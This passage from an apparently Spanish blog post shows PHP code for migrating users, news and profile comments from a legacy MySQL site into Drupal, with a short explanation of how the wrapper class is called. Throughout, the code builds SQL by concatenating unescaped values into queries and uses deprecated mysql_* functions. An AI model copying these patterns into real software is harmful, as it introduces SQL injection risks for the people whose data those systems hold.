<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[DP_SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _setUserRole<span class="br0">&#40;</span><span class="re0">$id</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;dp_users_roles&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;INSERT INTO &quot;</span>.<span class="re0">$table</span>.<span class="st0">&quot;(rid, uid) VALUES(2, &quot;</span>.<span class="re0">$id</span>.<span class="st0">&quot;)&quot;</span>; <span class="co2"># 2 es el que corresponde segun SELECT * FROM dp_role</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[DP_SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="re0">$query</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">private</span> <span class="kw2">function</span> _configureProfile<span class="br0">&#40;</span><span class="re0">$info</span>, <span class="re0">$_uid</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$uid</span> = <span class="re0">$info</span><span class="br0">&#91;</span><span class="st0">&#8216;id&#8217;</span><span class="br0">&#93;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT a.nombre_esp FROM cat_paises a LEFT JOIN usr_users b ON b.pais = a.id WHERE b.id = &quot;</span>.<span class="re0">$uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_r</span> = <a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span>sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&#8216;query&#8217;</span><span class="br0">&#41;</span>, <span class="nu0">0</span>, <span class="st0">&#8216;nombre_esp&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(8, &quot;</span>.<span class="re0">$_uid</span>.<span class="st0">&quot;, &#8216;&quot;</span>.<span class="re0">$_r</span>.<span class="st0">&quot;&#8217;)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT a.nombre_esp FROM paises a LEFT JOIN users b ON b.pais_residencia = a.id WHERE b.id = &quot;</span>.<span class="re0">$uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_r</span> = <a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span>sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&#8216;query&#8217;</span><span class="br0">&#41;</span>, <span class="nu0">0</span>, <span class="st0">&#8216;nombre_esp&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(9, &quot;</span>.<span class="re0">$_uid</span>.<span class="st0">&quot;, &#8216;&quot;</span>.<span class="re0">$_r</span>.<span class="st0">&quot;&#8217;)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$query = &quot;SELECT a.profesion FROM users a WHERE a.id = &quot;.$uid;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $_r = mysql_result(sqlExec($query, &#8216;query&#8217;), 0, &#8216;profesion&#8217;);</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query(&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(3, &quot;.$_uid.&quot;, &#8216;&quot;.$_r.&quot;&#8217;)&quot;);*/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT a.nombre FROM cat_usr a LEFT JOIN usr_users b ON b.categoria = a.id WHERE b.id = &quot;</span>.<span class="re0">$uid</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_r</span> = <a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span>sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&#8216;query&#8217;</span><span class="br0">&#41;</span>, <span class="nu0">0</span>, <span class="st0">&#8216;nombre&#8217;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(4, &quot;</span>.<span class="re0">$_uid</span>.<span class="st0">&quot;, &#8216;&quot;</span>.<span class="re0">$_r</span>.<span class="st0">&quot;&#8217;)&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT a.subcategoria_es FROM areas_ciencia_subcat a, usr_users b WHERE b.area_ciencia_subcat != 0 AND b.area_ciencia_subcat = a.id_subcat AND b.id = &quot;</span>.<span class="re0">$_uid</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="re0">$_r</span> = <a href="http://www.php.net/mysql_result"><span class="kw3">mysql_result</span></a><span class="br0">&#40;</span>sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&#8216;query&#8217;</span><span class="br0">&#41;</span>, <span class="nu0">0</span>, <span class="st0">&#8216;subcategoria_es&#8217;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query<span class="br0">&#40;</span><span class="st0">&quot;UPDATE dp_profile_values SET value = &#8216;&quot;</span>.<span class="re0">$_r</span>.<span class="st0">&quot;&#8217; WHERE fid = 7 AND uid = &quot;</span>.<span class="re0">$_uid</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">//&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db_query(&quot;INSERT INTO dp_profile_values(fid, uid, value) VALUES(7, &quot;.$_uid.&quot;, &#8216;&quot;.$_r.&quot;&#8217;)&quot;);</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Esta clase nos permite crear una instancia para trabajar con Drupal y de esta forma poder migrar usuarios, contenidos, asignar taxonomias/categorias, resetear claves, insertar comentarios, etc. Cada método público debe ser llamado pasando como argumento un <em>array</em> con la información que desea ser insertada. Por ejemplo, una llamda al método <em>createUser</em>:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1"><span class="re0">$_users</span> = <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="st0">&quot;SELECT * FROM usuarios&quot;</span>, <span class="re0">$link</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$_users_row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$_users</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Llamada a API drupal para crear usuario</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span>-&gt;<span class="me1">createUser</span><span class="br0">&#40;</span><span class="re0">$_users_row</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
</ol>
</div>
<p>Sencillamente, lo que hace este pedazo de código es consultar en una base de datos por todos los usuarios y posteriormente, por cada registro encontrado, llamar al método &#8220;createUsers&#8221; pasándole como argumento el row correspondiente al ciclo.</p>
<p>Les dejo el script &#8220;Migrar.php&#8221; que instancia la clase Drupal y hace uso de sus métodos:</p>
<div class="dean_ch" style="white-space: wrap;">
<ol>
<li class="li1">
<div class="de1">&lt; ?php</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* </span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* Lunes, 21 de Septiembre del 2009.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*</span></div>
</li>
<li class="li2">
<div class="de2"><span class="coMULTI">&nbsp;* Migrador de plataformas para</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* Drupal.</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*/</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">// Config</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">require_once</span><span class="br0">&#40;</span><span class="st0">&quot;Config.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="re0">$conexion</span> = <a href="http://www.php.net/mysql_connect"><span class="kw3">mysql_connect</span></a><span class="br0">&#40;</span><span class="re0">$host</span>, <span class="re0">$username</span>, <span class="re0">$password</span><span class="br0">&#41;</span> OR <a href="http://www.php.net/die"><span class="kw3">die</span></a><span class="br0">&#40;</span><span class="st0">&quot;Error al conectar a la base de datos.<span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li2">
<div class="de2"><span class="co1">// Llamada a nuestro wrapper</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">require_once</span><span class="br0">&#40;</span><span class="st0">&quot;Drupal.class.php&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span><span class="br0">&#40;</span>!<a href="http://www.php.net/mysql_select_db"><span class="kw3">mysql_select_db</span></a><span class="br0">&#40;</span><span class="re0">$database</span>, <span class="re0">$conexion</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Error al seleccionar la base de datos.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">else</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$start</span> = <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span> = <span class="kw2">new</span> Drupal<span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Usuarios</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;usr_users&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT * FROM &quot;</span>.<span class="re0">$table</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_users</span> = sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&quot;print_query&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; getRows<span class="br0">&#40;</span><span class="re0">$_users</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$_users_row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$_users</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Llamada a API drupal para crear usuario</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span>-&gt;<span class="me1">createUser</span><span class="br0">&#40;</span><span class="re0">$_users_row</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Fin</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;infoc_news&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT * FROM &quot;</span>.<span class="re0">$table</span>.<span class="st0">&quot; WHERE autor = &quot;</span>.<span class="re0">$_users_row</span><span class="br0">&#91;</span><span class="st0">&#8216;id&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot; ORDER BY fecha&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_news</span> = sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&quot;print_query&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; getRows<span class="br0">&#40;</span><span class="re0">$_news</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$_news_row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$_news</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Llamada a API drupal para crear contenido</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span>-&gt;<span class="me1">createContent</span><span class="br0">&#40;</span><span class="re0">$_news_row</span>, <span class="st0">&quot;news&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Fin</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; </div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Comentarios en perfiles</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$table</span> = <span class="st0">&quot;usr_comments&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$query</span> = <span class="st0">&quot;SELECT * FROM usr_coments WHERE responseTo = 0&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$_comments</span> = sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="st0">&quot;print_query&quot;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; getRows<span class="br0">&#40;</span><span class="re0">$_comments</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">while</span><span class="br0">&#40;</span><span class="re0">$_comments_row</span> = <a href="http://www.php.net/mysql_fetch_array"><span class="kw3">mysql_fetch_array</span></a><span class="br0">&#40;</span><span class="re0">$_comments</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Llamada a API drupal para insertar comentarios en perfiles</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$drupal</span>-&gt;<span class="me1">insertCommentProfile</span><span class="br0">&#40;</span><span class="re0">$_comments_row</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// FIn</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$stop</span> = <a href="http://www.php.net/time"><span class="kw3">time</span></a><span class="br0">&#40;</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$time</span> = <span class="re0">$stop</span> &#8211; <span class="re0">$start</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Migration done.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;+ Summary:<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;|- Users:<span class="es0">\t</span>&quot;</span>.<span class="re0">$drupal</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;users&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;|- Nodes:<span class="es0">\t</span>&quot;</span>.<span class="re0">$drupal</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;news&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;|- Comments:<span class="es0">\t</span>&quot;</span>.<span class="re0">$drupal</span>-&gt;<span class="me1">counter</span><span class="br0">&#91;</span><span class="st0">&#8216;comments&#8217;</span><span class="br0">&#93;</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;|_ Time:<span class="es0">\t</span>&quot;</span>.<a href="http://www.php.net/date"><span class="kw3">date</span></a><span class="br0">&#40;</span><span class="st0">&quot;s&quot;</span>, <span class="re0">$time</span><span class="br0">&#41;</span>.<span class="st0">&quot; secs.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* sqlExec()</span></div>
</li>
<li class="li2">
<div class="de2"><span class="coMULTI">&nbsp;* Ejecuta y/o imprime una consulta SQL</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*/</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw2">function</span> sqlExec<span class="br0">&#40;</span><span class="re0">$query</span>, <span class="re0">$type</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/global"><span class="kw3">global</span></a> <span class="re0">$conexion</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">switch</span><span class="br0">&#40;</span><span class="re0">$type</span><span class="br0">&#41;</span><span class="br0">&#123;</span></div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;print&#8217;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;query&#8217;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$query</span>, <span class="re0">$conexion</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;print_query&#8217;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;&gt;&gt;[SQL] &quot;</span>.<span class="re0">$query</span>.<span class="st0">&quot;<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <a href="http://www.php.net/mysql_query"><span class="kw3">mysql_query</span></a><span class="br0">&#40;</span><span class="re0">$query</span>, <span class="re0">$conexion</span><span class="br0">&#41;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;</div>
</li>
<li class="li2">
<div class="de2">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">case</span> <span class="st0">&#8216;default&#8217;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/print"><span class="kw3">print</span></a> <span class="st0">&quot;Error en el modo de trabajo.<span class="es0">\n</span>&quot;</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">break</span>;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">NULL</span>;</div>
</li>
<li class="li2">
<div class="de2"><span class="br0">&#125;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">/* getRows()</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;* Imprime la cantidad de resultados obtenidas desde una consulta</span></div>
</li>
<li class="li1">
<div class="de1"><span class="coMULTI">&nbsp;*/</span></div>
</li>
<li class="li2">
